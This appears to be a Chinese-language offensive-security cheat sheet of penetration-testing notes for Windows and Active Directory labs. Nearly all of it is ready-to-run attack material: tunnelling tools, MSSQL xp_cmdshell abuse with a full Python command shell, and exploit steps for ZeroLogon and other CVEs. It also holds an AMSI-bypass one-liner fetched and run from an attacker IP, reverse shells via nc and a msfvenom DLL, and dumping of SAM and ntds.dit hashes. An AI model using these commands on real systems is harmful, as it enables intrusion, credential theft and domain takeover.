对目标上传客户端并且连接客户端

./agent -connect 攻击机_IP:9001 -ignore-cert  # 连接代理

当连接成功后,我们能通过在服务端输入命令切换或者启动路由

启动路由

ligolo-ng » session
ligolo-ng » 1 # 输入对应的数字
[Agent : test@test] » start
# 成功后会显示:INFO[xxxx] Starting tunnel to test@test

如果接入新的客户端需要连接新的网段

先链接新的客户端,或者当前客户端,之后直接添加新路由即可
sudo ip route add 10.0.56.0/24 dev ligolo 
不要删除原有的10.0.52.0路由,两者共存才能同时访问两个网段

msf动态路由

msf的动态路由相当于一个专属于它自己的代理,当我们获取一个目标的msf载荷之后,可以直接配置动态路由来进行msf方便的内网入侵

这里我模拟我们搞到了一台内网session 1,其内网网段模拟为169.254.12.1,执行以下命令

use post/multi/manage/autoroute
set SESSION 1
set SUBNET 169.254.0.0
set NETMASK /16
run

之后一切msf内部模块都能自动走这个路由,也可以代理给外部,但是不如frp稳定暂时不记录

多级网络

stowaway

不用记住整体的命令,此工具灵活部署,类似小型c2,可以通过一个admin节点控制内网多个节点,并且节点之间互相连接也能在admin全局控制,简单来说只要是admin节点连接a节点之后a节点连接b节点,就可以通过admin控制c节点执行节点命令,可灵活部署多级网络穿透

所有控制皆从admin执行

启动指令(admin以及agent不区分)

-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--down 下游协议类型,默认为裸TCP流量,可选HTTP

常用供复制

./linux_x64_admin -l 7777(被动)
./linux_x64_admin -c $ip:$port(主动)

admin panel(admin控制指令)

    detail 展示在线节点的详细信息
    topo 展示在线节点的父子关系
    use $id 使用某个agent
    exit 退出

nodepanel(在使用admin指令use节点后使用的节点指令)

help                                            # 显示帮助信息
status                                          # 显示节点状态(包括socks/转发/反向代理服务)
listen                                          # 在当前节点启动端口监听
addmemo    <string>                             # 为当前节点添加备注
delmemo                                         # 删除当前节点的备注
ssh        <ip:port>                            # 通过当前节点启动SSH连接
shell                                           # 在当前节点启动交互式shell
socks      <lport> [用户名] [密码]              # 启动socks5代理服务器(用户密码可选填)
stopsocks                                       # 关闭socks代理服务
connect    <ip:port>                            # 连接到新节点
sshtunnel  <ip:ssh端口> <代理端口>              # 使用SSH隧道将节点加入拓扑
upload     <本地文件> <远程文件>                # 上传文件到当前节点
download   <远程文件> <本地文件>                # 从当前节点下载文件
forward    <本地端口> <ip:端口>                 # 将本地端口转发到指定远程地址
stopforward                                     # 关闭端口转发服务
backward    <远程端口> <本地端口>               # 将远程端口(代理)反向代理到本地端口(管理端)
stopbackward                                    # 关闭反向代理服务
shutdown                                        # 终止当前节点
back                                            # 返回上级控制面板
exit                                            # 退出Stowaway程序

评价是小型c2,好用的一批

其他

msf走外部代理

当我们利用frp或者chisel搭建了隧道,可以利用如下命令让msf走全局代理

setg proxies socks5:127.0.0.1:6000

并且如果这个时候我们需要反弹shell,msf会默认目标处于内网无法回弹,但是如果我们知道目标能访问到我们,我们可以直接使用下面的参数规避报错

set ReverseAllowProxy true

提权or横向

密码过期用户更改密码

可以直接利用changepass.py更改,他调用的是rpcsmc接口允许跳过认证

impacket-changepasswd $domain/$user:""@$ip -newpass wackMaker1!

提示需要正确密码,如果我们有过期前的密码就填,没有就留空,一样的

ntlm_theft——hash回调窃取_hash钓鱼

当我们处于内网当中的时候,可以利用此工具生成各种文件用来触发smb认证回调来利用responder截获ntlmv2认证,往往需要配合流量转发使用

工具地址,注意template也需要下载,最好全部打包

https://github.com/Greenwolf/ntlm_theft

首先利用其生成所有文件

python3 ntlm_theft.py --generate all --server $访问ip --filename $生成文件保存目录

之后利用各种手段传递到内网机器中,并且利用responder监听

sudo responder -I $网卡

laps密码读取

本地powerview

Get-ADComputer DC01 -property 'ms-mcs-admpwd'

远程nxc

nxc smb $ip -u $user -p $pass --laps

windows本地提权路径查询

PrivescCheck

https://github.com/itm4n/PrivescCheck

快速基本检查

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

所有检查 + 所有报告

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Audit -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML,CSV,XML"

bypassUAC

GUI下绕过uac

当然,一般情况使用右键管理员运行即可,如果我们只有cmd或者powershell情况或者在kiosk情况下,可以利用powershell运行如下命令

start-process powershell.exe -verb runas

这样会返回一个uac认证,确认后会获得一个powershell窗口,注意是有gui的情况下,也就是说得有起码rdp的连接

mssql相关

mssql服务枚举

查找spn

setspn -T $domain -Q MSSQLSvc/*

powerupsql.ps1

查找数据库实例以及服务

Get-SQLInstanceLocal

查找详细信息

Get-SQLServerInfo -Verbose -Instance "SQL11\SQLEXPRESS" -username $user -password $pass

查找链接数据库

Get-SqlServerLinkCrawl -Verbose -Instance "SQL11\SQLEXPRESS" -username $user -password $pass

mssql语法

impacket包连接mssql数据库

impacket-mssqlclient $user:$pass@$ip
直接无法认证可以尝试windows认证
impacket-mssqlclient -windows-auth $user:$pass@$ip

如果确认凭据完整但是无法登陆,可以换username为sa尝试以管理员登陆

落地常用枚举

查询数据库版本

SELECT @@VERSION;

查询当前服务器名称

select @@servername

查询当前用户名称

select suser_name();

查询当前权限

SELECT entity_name, permission_name FROM fn_my_permissions(NULL, 'SERVER');

列出数据库所有登陆账户

SELECT name FROM master..syslogins

查找具备sysadmin管理员权限用户

SELECT name FROM master..syslogins WHERE sysadmin = '1'

列出所有数据库

SELECT name FROM sys.databases;

列出所有表

先使用对应数据库
use $dbname
之后
SELECT name AS TableName FROM sys.tables;

列出表中数据

直接导出
SELECT * FROM $table;
格式化输出
SELECT $table AS SecretValue FROM $db;
无痕读取
SELECT TOP 1 $table FROM $db;

查询密码策略

EXEC xp_loginconfig 'password policy'

xp_dirtree触发smb访问(劫持服务账户hash)

EXEC master..xp_dirtree \"\\\\$ip\\\\test\";

xp_cmdshell相关(命令执行)需sa权限

先查询是否开启

SELECT * FROM sys.configurations WHERE name IN ('xp_cmdshell', 'Ole Automation Procedures');

如果没有开启,逐步按照下方开启

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
或者直接
enable_xp_cmdshell

之后执行

xp_cmdshell whoami
上面的无法执行过多参数命令,用下面的即可
EXEC xp_cmdshell 'curl http://10.10.16.177'

如果开启报错,多半是存在触发器,管理员权限可关闭

sp_execute_external_script相关(虚拟账户命令执行)

这里需要注意,使用外部脚本执行命令一般使用python,并且会创造虚拟账户进行操作。 一般用于绕过一些权限的利用,也就是我们使用cmdshell执行的是服务账号的权限,外部脚本则是虚拟账户权限,等同于一般用户,不说比服务账户权限高,只能说相对完整一些

开启权限

EXEC sp_configure 'external scripts enabled', 1;
RECONFIGURE;

执行命令

EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("whoami");';

开启ole并且利用mssql进行文件上传

利用mssql进行文件上传有两种方式,一种是下面的pycmdshell可以实现upload方式上传文件(写入字节操作),一种是开启ole,这个一般是远程操作,所以直接利用impacket包

impacket-mssqlclient $domain/$user:$pass@$ip

高版本可以直接启用

enable_ole

具体执行操作其实为

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

之后可以直接上传文件

upload file C:\windows\temp\file

链接数据库利用

查询存在的链接数据库

select srvname from sysservers;

在链接数据库上执行命令

EXECUTE ('命令语句') at [$linked_db_name];

后渗透常用语法(不是所有权限都需要sa,但是默认具备)

清理最近查询记录

DBCC FLUSHPROCINDB(DB_ID());

创建一个用户并赋予sa权限

创建
CREATE LOGIN $user WITH PASSWORD ='$pass';
赋予
EXEC sp_addsrvrolemember '$user', 'sysadmin';

查询触发器并关闭

查询
select name from sys.server_triggers;
关闭
disable trigger $name on all server

无数据库用户密码使用kerbores本地登陆域内数据库

using System;
using System.Data.SqlClient;
using System.IO;

namespace SQL
{
    class Program
    {
        static void Main(string[] args)
        {
            string sqlServer = string.Empty;
            string database = "master";  // 默认连接到 master 数据库
            bool showHelp = false;  // 是否显示帮助信息
            string filePath = string.Empty; // 文件路径,用于批量执行 SQL 命令

            // 解析命令行参数
            foreach (var arg in args)
            {
                if (arg.StartsWith("--server"))
                {
                    sqlServer = arg.Split('=')[1];
                }
                else if (arg.Equals("-h") || arg.Equals("--help"))
                {
                    showHelp = true;
                }
                else if (arg.StartsWith("--noshell-file"))
                {
                    filePath = arg.Split('=')[1]; // 获取文件路径
                }
            }

            // 如果需要显示帮助信息,则输出帮助说明并退出
            if (showHelp)
            {
                ShowHelp();
                return;
            }

            if (string.IsNullOrEmpty(sqlServer))
            {
                Console.WriteLine("Usage: mssql.exe --server <sqlServerAddress> --noshell-file <filePath>");
                Environment.Exit(0);
            }

            string conString = $"Server=tcp:{sqlServer},1433; Database={database}; Integrated Security=True;";

            SqlConnection con = new SqlConnection(conString);

            try
            {
                // 尝试连接数据库
                con.Open();
                Console.WriteLine("Auth success!");
            }
            catch (Exception ex)
            {
                Console.WriteLine("Auth failed: " + ex.Message);
                Environment.Exit(0);
            }

            // 执行权限查询
            ExecuteQuery(con, "SELECT SYSTEM_USER;", "Logged in as");
            ExecuteQuery(con, "SELECT USER_NAME();", "Mapped to the user");
            ExecuteQuery(con, "SELECT IS_SRVROLEMEMBER('public');", "User is a member of public role");
            ExecuteQuery(con, "SELECT IS_SRVROLEMEMBER('sysadmin');", "User is a member of sysadmin role");

            // 如果指定了文件路径,执行文件中的 SQL 查询
            if (!string.IsNullOrEmpty(filePath))
            {
                ExecuteCommandsFromFile(con, filePath);
            }
            else
            {
                // 启动交互式查询模式
                InteractiveQuery(con);
            }

            // 关闭连接
            con.Close();
            Console.WriteLine("Connection closed.");
        }

        // 执行 SQL 查询并输出结果
        static void ExecuteQuery(SqlConnection con, string query, string resultMessage)
        {
            try
            {
                SqlCommand command = new SqlCommand(query, con);
                SqlDataReader reader = command.ExecuteReader();

                if (reader.HasRows)
                {
                    Console.WriteLine(resultMessage + ":");
                    while (reader.Read())
                    {
                        for (int i = 0; i < reader.FieldCount; i++)
                        {
                            Console.Write(reader[i].ToString() + "\t");
                        }
                        Console.WriteLine();
                    }
                }
                else
                {
                    Console.WriteLine(resultMessage + ": No rows returned.");
                }
                reader.Close();
            }
            catch (Exception ex)
            {
                Console.WriteLine($"Error executing query: {ex.Message}");
            }
        }

        // 从文件中读取 SQL 命令并逐行执行
        static void ExecuteCommandsFromFile(SqlConnection con, string filePath)
        {
            try
            {
                // 读取文件中的所有命令
                string[] commands = File.ReadAllLines(filePath);
                foreach (var command in commands)
                {
                    if (!string.IsNullOrWhiteSpace(command))
                    {
                        Console.WriteLine($"Executing command: {command}");
                        ExecuteQuery(con, command, "Query Result");
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine($"Error reading file or executing commands: {ex.Message}");
            }
        }

        // 启动交互式查询模式
        static void InteractiveQuery(SqlConnection con)
        {
            string userQuery;
            while (true)
            {
                Console.WriteLine("\nsuse like mssqlclient(Enter 'exit' quit):");
                userQuery = Console.ReadLine();

                // 检查用户输入是否为空
                if (string.IsNullOrWhiteSpace(userQuery))
                {
                    Console.WriteLine("The query statement cannot be empty");
                    continue;
                }

                if (userQuery.ToLower() == "exit")
                {
                    break;
                }

                ExecuteQuery(con, userQuery, "Query Result");
            }
        }

        // 显示帮助信息
        static void ShowHelp()
        {
            Console.WriteLine("Usage: mssql.exe --server <sqlServerAddress> --noshell-file <filePath>");
            Console.WriteLine("Options:");
            Console.WriteLine("  --server=<serverAddress>    Target SQL server address");
            Console.WriteLine("  --noshell-file=<filePath>   Path to the file containing SQL commands to execute");
            Console.WriteLine("  -h, --help                  Display this help message");
            Console.WriteLine("Example:");
            Console.WriteLine("  mssql.exe --server 127.0.0.1 --noshell-file test.txt");
        }
    }
}

交互shell使用方式

mssql.exe --server=127.0.0.1 or mssql.exe --server=dc.corp.com

非交互shell使用方式

mssql.exe --server=127.0.0.1 --noshell-file=test.txt
test.txt内容为逐行输入的数据库命令

mssql_shell_python3(py实现的cmdshell)

#!/usr/bin/env python
from __future__ import print_function
# Author: Alamot
# Use pymssql >= 1.0.3 (otherwise it doesn't work correctly)
# To upload a file, type: UPLOAD local_path remote_path
# e.g. UPLOAD myfile.txt C:\temp\myfile.txt
# If you omit the remote_path it uploads the file on the current working folder.
# Be aware that pymssql has some serious memory leak issues when the connection fails (see: https://github.com/pymssql/pymssql/issues/512).
try:
    import _mssql
except:
    from pymssql import _mssql
import base64
import shlex
import sys
import tqdm
import hashlib
from io import open
try: input = raw_input
except NameError: pass


MSSQL_SERVER="10.13.38.11"
MSSQL_USERNAME = "WA"
MSSQL_PASSWORD = "qwe123QWE!@#"
BUFFER_SIZE = 5*1024
TIMEOUT = 30


def process_result(mssql):
    username = ""
    computername = ""
    cwd = ""
    rows = list(mssql)
    for row in rows[:-3]:
        columns = list(row)
        if row[columns[-1]]:
            print(row[columns[-1]])
        else:
            print()
    if len(rows) >= 3:
        (username, computername) = rows[-3][list(rows[-3])[-1]].split('|')
        cwd = rows[-2][list(rows[-3])[-1]]
    return (username.rstrip(), computername.rstrip(), cwd.rstrip())


def upload(mssql, stored_cwd, local_path, remote_path):
    print("Uploading "+local_path+" to "+remote_path)
    cmd = 'type nul > "' + remote_path + '.b64"'
    mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")

    with open(local_path, 'rb') as f:
        data = f.read()
        md5sum = hashlib.md5(data).hexdigest()
        b64enc_data = base64.b64encode(data).decode()  # 修复这里
        
    print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB")
    for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"):
        cmd = 'echo '+b64enc_data[i:i+BUFFER_SIZE]+' >> "' + remote_path + '.b64"'
        mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
        #print("Remaining: "+str(len(b64enc_data)-i))

    cmd = 'certutil -decode "' + remote_path + '.b64" "' + remote_path + '"'
    mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
    process_result(mssql)
    cmd = 'certutil -hashfile "' + remote_path + '" MD5'
    mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
    if md5sum in [row[list(row)[-1]].strip() for row in mssql if row[list(row)[-1]]]:
        print("MD5 hashes match: " + md5sum)
    else:
        print("ERROR! MD5 hashes do NOT match!")


def shell():
    mssql = None
    stored_cwd = None
    try:
        mssql = _mssql.connect(server=MSSQL_SERVER, user=MSSQL_USERNAME, password=MSSQL_PASSWORD)
        print("Successful login: "+MSSQL_USERNAME+"@"+MSSQL_SERVER)

        print("Trying to enable xp_cmdshell ...")
        mssql.execute_query("EXEC sp_configure 'show advanced options',1;RECONFIGURE;exec SP_CONFIGURE 'xp_cmdshell',1;RECONFIGURE")

        cmd = 'echo %username%^|%COMPUTERNAME% & cd'
        mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
        (username, computername, cwd) = process_result(mssql)
        stored_cwd = cwd
        
        while True:
            cmd = input("CMD "+username+"@"+computername+" "+cwd+"> ").rstrip("\n").replace("'", "''")
            if not cmd:
                cmd = "call" # Dummy cmd command
            if cmd.lower()[0:4] == "exit":
                mssql.close()
                return
            elif cmd[0:6] == "UPLOAD":
                upload_cmd = shlex.split(cmd, posix=False)
                if len(upload_cmd) < 3:
                    upload(mssql, stored_cwd, upload_cmd[1], stored_cwd+"\\"+upload_cmd[1])
                else:
                    upload(mssql, stored_cwd, upload_cmd[1], upload_cmd[2])
                cmd = "echo *** UPLOAD PROCEDURE FINISHED ***"
            mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
            (username, computername, cwd) = process_result(mssql)
            stored_cwd = cwd
            
    except _mssql.MssqlDatabaseException as e:
        if  e.severity <= 16:
            print("MSSQL failed: "+str(e))
        else:
            raise
    finally:
        if mssql:
            mssql.close()


shell()
sys.exit()

mssql白银票据-impacket

如果我们搞定了数据库服务账号hash,我们就可以伪造白银票据

首先获取服务账号ntlmhash以及域sid

如果有密码可以直接用下面命令转换为ntlm
iconv -f ASCII -t UTF-16LE <(printf "password") | openssl dgst -md4
用getPac获取域sid(域用户即可)
impacket-getPac -targetUser administrator $domain/$user:$pass

之后伪造票据,注意,同步时间需要在伪造之前进行

impacket-ticketer -spn MSSQLSvc/$target -user-id 500 Administrator -nthash <nt-hash> -domain-sid <sid> -domain $domain

导入票据

export KRB5CCNAME=Administrator.ccache

最后连接

impacket-mssqlclient $target -k 

域历史漏洞或者中继(cve)

Cross Session Relay 跨会话中继

当存在其他用户登陆会话后,可以尝试打跨会话中继获得登陆会话的用户hash

要求

无要求,需要确认存在用户登陆会话,最好还要确定目标防火墙规则

RemotePotato0.exe

https://github.com/antonioCoco/RemotePotato0/releases

首先利用socat转发kali本地135流量到目标机器的9999端口,主要是触发的是rpc服务,而一般windows的135已被占用无法监听,我们相当于需要换一个端口监听

sudo ./socat-lin64.bin -v TCP-LISTEN:135,fork,reuseaddr TCP:$目标ip:9999

之后利用RemotePotato0滥用 DCOM 激活服务,并触发当前在目标计算机中登录的任何用户的 NTLM 身份验证。

.\RemotePotato0.exe -m 2 -s 1 -x $soca部署ip -p 9999
#命令解释
-m 2 模式2(“Rpc 捕获哈希服务器 + 土豆触发器”)
-s 1 - 要定位的用户的会话
-x 设定发送验证服务器
-p 监听端口

如果防火墙不允许,请不要使用9999

krbRelay(域用户提升域管理)

要求

1,具备域用户 2,没有 2022 年 10 月的补丁 3,必须禁用 LDAP 签名(这是 Windows 的默认设置)。 检查ldap签名可以利用nxc

nxc ldap $ip -u $user -p $pass -M ldap-checker

攻击流程

https://github.com/cube0x0/KrbRelay
这个地址本地编译CheckPort.exe以及KrbRelay.exe

1,首先在目标运行checkport检测可使用端口,举例如下

*Evil-WinRM* PS C:\programdata> .\CheckPort.exe
[*] Looking for available ports..
[*] SYSTEM Is allowed through port 10

2,查找可用 CLSID

cmd /c ver
使用上面的命令查找出版本后在这里查找对应可用clsidhttps://github.com/cube0x0/KrbRelay#clsids
这里我举例为win10的354ff91b-5e49-4bdc-a8e6-1cb6c6877182

3,利用工具自动获取域管权限并且设置我方控制用户提升至域管,需要利用runas脱离evil-winrm非交互限制,rdp的话直接执行命令即可

.\RunasCs.exe $user $pass -d $domain -l 9 ".\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember administrators winrm_user"
这里我举例为将winrm_user添加进入管理员组

CVE-2025-24071(压缩包解压触发ntlm回调)

条件

1,确保目标没有25之后的更新补丁 2,能发送压缩包到目标机器并确保存在解压行为

攻击流程

exp
https://github.com/0x6rss/CVE-2025-24071_PoC

使用

>>python poc.py

>>enter file name: your file name

>>enter IP: attacker IP

生成后传递,并监听

sudo responder -I $网卡 -v

CVE-2025-33073(基于dns服务错误导致ntlmrelay)

条件

1,没有 2025 年 6 月的补丁 2,目标没有开启smb签名(dc默认开启,所以目标是域内普通windows) 3,掌控一个普通域用户(需要改dns的权柄,普通域用户自带)

攻击流程

exp

https://github.com/mverschu/CVE-2025-33073

一句命令攻击

python3 CVE-2025-33073.py -u $domain\$user -p $pass --attacker-ip $kali_ip --dns-ip $kali_ip --dc-fqdn $DC_FQDN --target $TARGET_FQDN --target-ip $TARGET_IP

成功的话会获取target的机器用户hash,并且获取此机器所有本地用户hash(sam)

实操小提示

如果发现ca存在esc8,并且33073可用,则可进行组合利用,具体操作搜索本笔记esc8

CVE-2020-1472 (ZeroLogon零登陆,强行使计算机用户密码为零字节,并且打dcsync)

请注意,默认情况下,这会更改域控制器帐户的密码。是的,这允许您使用 DCSync,但它也会中断与其他域控制器的通信,因此请小心!

条件

1,需得知dc位置并且获取其ip以及hostname 2,确保目标没有2020年之后的补丁

攻击流程

使用poc

https://github.com/dirkjanm/CVE-2020-1472

先利用poc更改$dc密码

python /opt/CVE-2020-1472/cve-2020-1472-exploit.py dc_name $ip

直接空密码打dcsync

impacket-secretsdump -no-pass -just-dc dc_name\$@$ip

amsi绕过

osep-amsi

ps1或者txt源码

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

投放

(new-object system.net.webclient).downloadstring('http://192.168.119.120/amsi.txt') | IEX

runascs使用

受限登陆用户反弹shell

可以使用runascs绕过

.\RunasCS.exe $user $pass powershell.exe -r $kali_ip:$port

会使用powershell弹回来一个shell

脱离非交互限制(evil-winrm)

.\RunasCs.exe $user $pass -d $domain -l 9 "command"            

powershell语法

定义用户凭证并使用

$pass = ConvertTo-SecureString 'M1XyC9pW7qT5Vn' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential -ArgumentList "voleur.htb\svc_ldap", $pass

使用用户凭证远程执行命令

invoke-command -computername $comp_name -scriptblock { dir C:\windows\tasks } -credential $cred

使用用户凭证本地执行命令

Start-Process powershell.exe -ArgumentList '-NoExit', '-Command', 'whoami /all' -Credential $cred

如果上两个执行命令的权限不够,就意味着没有执行shell命令的远程权限,但是一般利用-Credential $cred直接执行powershell指令或者ps1脚本中的函数都是可以直接执行的

并且可以直接打revershell绕过一些无法登陆的情况获得shell

powershell -ExecutionPolicy Bypass -File .\shell.ps1 -credential $cred

远程下载文件

cmd /c powershell -c "Invoke-WebRequest -Uri 'https://192.168.234.171/config.xml' -OutFile 'C:\Temp\config.xml'"

远程powerview.py以及常用powerview语法

安装

sudo apt install libkrb5-dev
pipx install "git+https://github.com/aniqfakhrul/powerview.py"

使用

powerview $domain/$user1:$pass@$ip

本地特权利用

我只做打靶机或者本地测试完毕的记录,但这篇很厉害,如果我的不全可以去这里找

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B9%9D%E7%A7%8D%E6%9D%83%E9%99%90%E7%9A%84%E5%88%A9%E7%94%A8

SeBackupPrivilege

https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt#L495

mimikatz抓取本地sam以及system

lsadump::sam /sam:SamBkup.hiv /system:SystemBkup.hiv

注册表抓取本地sam以及system

reg save hklm\sam C:\SAM
reg save hklm\system C:\SYSTEM

之后解密

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

缺点是只能获取本地账户

卷影复制器

diskshadow.exe这玩意需要注意两点
1,sever会自己装,其他版本需要自己装
2,使用交互shell交互,所以需要写脚本利用
先确认是否启动

Get-Service VSS

之后本地制作脚本(可写目录下制作)

echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append        
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append

之后利用卷影复制器执行,让 diskshadow.exe 给 C 盘创建一个副本,然后为其分配盘符 Z 并使其可用(使其可作为驱动器访问)

diskshadow.exe /s C:\Users\svc-printer\Documents\diskshadow.txt

将创建在z盘的内容提取

 robocopy /B Z:\Windows\NTDS . ntds.dit
 download ntds.dit
 reg save hklm\system C:\SYSTEM
 download SYSTEM

本地解密

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

nxc远程抓所有信息(一般用这个即可)

nxc smb $ip -u $user -p $pass -M backup_operator

BackupOperatorToDA抓取所有信息

工具地址

https://github.com/mpgn/BackupOperatorToDA?tab=readme-ov-file

使用

. \BackupOperatorToDA.exe -t 127.0.0.1 —u $user —p $pass —d $domain —o $可写目录

允许可解析远程利用

impacket包远程抓取

一般不建议使用,system文件过大,远程抓取流量太大并且脚本容易失效,所以有两种方式

开启smb远程转存

开smb服务器

impacket-smbserver x 1 -smb2support

利用reg获取全部信息

impacket-reg $user:$pass@$ip backup -p "\\$kali_ip\x"
转存到目标可读smb目录,利用smb获取
impacket-reg $user:$pass@$ip backup -o 'C:\Windows\SYSVOL\sysvol'

接下俩读取

impacket-smbclient $user:$pass@$ip

#use sysvol
# ls
drw-rw-rw-          0  Wed May 15 15:29:50 2024 .
drw-rw-rw-          0  Wed May 15 15:24:48 2024 ..
drw-rw-rw-          0  Thu Oct 20 16:03:21 2022 internal.zsm.local
-rw-rw-rw-      28672  Wed May 15 15:29:41 2024 SAM.save
-rw-rw-rw-      32768  Wed May 15 15:29:50 2024 SECURITY.save
-rw-rw-rw-   13684736  Wed May 15 15:29:46 2024 SYSTEM.save

# mget *.save
[*] Downloading SAM.save
[*] Downloading SECURITY.save
[*] Downloading SYSTEM.save 
本地解密
impacket-secretsdump -system SYSTEM -sam SAM -security SECURITY local

这里只能抓取到目标的本地计算机用户hash,但是可以抓到机器用户hash让我们去打dcsync

$MACHINE.ACC
#这种就是当前机器的计算机用户hash

SeImpersonatePrivilege

https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt#L327

身份验证后模拟客户端(Impersonatea client after authentication)

拥有该权限的进程能够模拟已有的token,但不能创建新的token

以下用户拥有该权限

本地管理员组成员和本地服务帐户
由服务控制管理器启动的服务
由组件对象模型 (COM) 基础结构启动的并配置为在特定帐户下运行的COM服务器

土豆家族

一般的服务账户都会自带,直接打土豆提权

PrintSpoofer64(Windows 10 和 Server 2016/2019)

https://github.com/itm4n/PrintSpoofer
上传
curl http://10.10.16.20/PrintSpoofer64.exe -o PrintSpoofer64.exe
执行
.\PrintSpoofer64.exe -i -c cmd

JuicyPotatoNG(目前还能用,但是不稳定)

https://github.com/antonioCoco/JuicyPotatoNG
上传
curl http://10.10.16.20/JuicyPotatoNG.exe -o JuicyPotatoNG.exe
之后指定载荷执行
C:\\programdata\\jp.exe -t * -p C:\\programdata\\rev.bat

GodPotato(WindowsServer2012-WindowsServer2022 Windows8-Windows11)

https://github.com/BeichenDream/GodPotato
下载
curl http://10.10.16.20/GodPotato-NET4.exe -o GodPotato-NET4.exe
执行木马或者命令
.\GodPotato-NET4.exe  -cmd "cmd /c whoami"

deadpotato

https://github.com/lypd0/DeadPotato

EfsPotato

https://github.com/zcgonvh/EfsPotato

需要自行编译

.\EfsPotato.exe "command"

附记 服务账户关闭特权强行开启

有时候我们登陆服务账户可能会发现特权被关闭

SHELL> whoami /all

USER INFORMATION
----------------

User Name                  SID     
========================== ========
nt authority\local service S-1-5-19
Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

我们能用这个工具强行打开

https://github.com/itm4n/FullPowers

直接执行

.\EfsPotato.exe "远程载荷或者反弹shell"

弹回来的shell就全开权限了

高权限组利用

Windows 2000 Compatible Access(Windows 2000 之前兼容的访问组)

虽然名字邮电长,但他确实是默认组,用于在 Windows 2000 之前兼容权限

对我们渗透来说它有一个非常有趣的点,如果这个组里机器用户是FS01$,则它的计算机密码可能是fs01

Server Operators (服务管理)

该组允许修改,启动和停止服务

首先准备nc或者木马

先侦测是否存在可利用服务,这里我选择卷影复制器

sc.exe qc vss

为了防止杀软拦截,也可以使用共享目录挂载

在确定服务存在后(不存在就换一个)上传后将服务修改为木马路径

sc.exe config VSS binpath="C:\programdata\nc64.exe -e cmd 10.10.14.6 443"

之后重启服务

sc.exe stop VSS
sc.exe start VSS

注意用nc回弹的shell会非常短暂,在系统认为出错的时候就会断,可以将nc换为可进程迁移的木马执行

DnsAdmin (dns管理)

首先确定存不存在利用工具

命令for /r c:\ %i in (dnscmd.*) do @echo %i

没有的话按照步骤

下载https://github.com/3gstudent/test/blob/master/dnscmd.exe
放置C:\Windows\System32
下载https://github.com/3gstudent/test/blob/master/dnscmd.exe.mui
放置C:\Windows\System32\en-US

本地生成dll载荷,最好是简单一点的revershell,防止一些乱七八糟的载荷问题

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.20 LPORT=443 -f dll -o rev.dll

同目录起smb服务

impacket-smbserver s .

在目标机器上指定dns插件我们的恶意dll

dnscmd.exe /config /serverlevelplugindll \\192.168.174.129\rev.dll
dnscmd.exe /config /serverlevelplugindll C:\wirteTEMP\rev.dll

重启服务接受shell

sc.exe \\$hostname stop dns
sc.exe \\$hostname start dns

如果不具备服务重启权限的话,可以利用工具直接重启

dnscmd.exe 127.0.0.1 /restart

AD Recycle (ad回收)

先查询是否存在已回收高敏感权限

Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects

之后获取已经回收的用户所有信息

get-adobject -filter 'isdeleted -eq $true -and ObjectClass -eq "user"' -includedeletedobjects -property *
#注意这里的user不允许替换成实际用户名,是死参数

如果有信息,可以尝试恢复用户,使用参数是guid

Restore-ADObject -Identity 'ic6b1deb-c372-4cbb-87b1-15031de169db'
#如果提示名字已被占用,可以使用-newname参数重新起名
Restore-adobject -identity 'ebe15df5-e265-45ec-b7fc-359877217138' -newname wackymaker

RESTORE_USERS(备份还原操作组)

理论上和ad回收组区别不大,该组可以查看回收站是否开启,没开启就不用看了

Get-ADOptionalFeature -Filter {Name -like "*Recycle*"}

看到回显有Recycle Bin Feature则是开启,可以看看回收站是否存在已经删除的用户

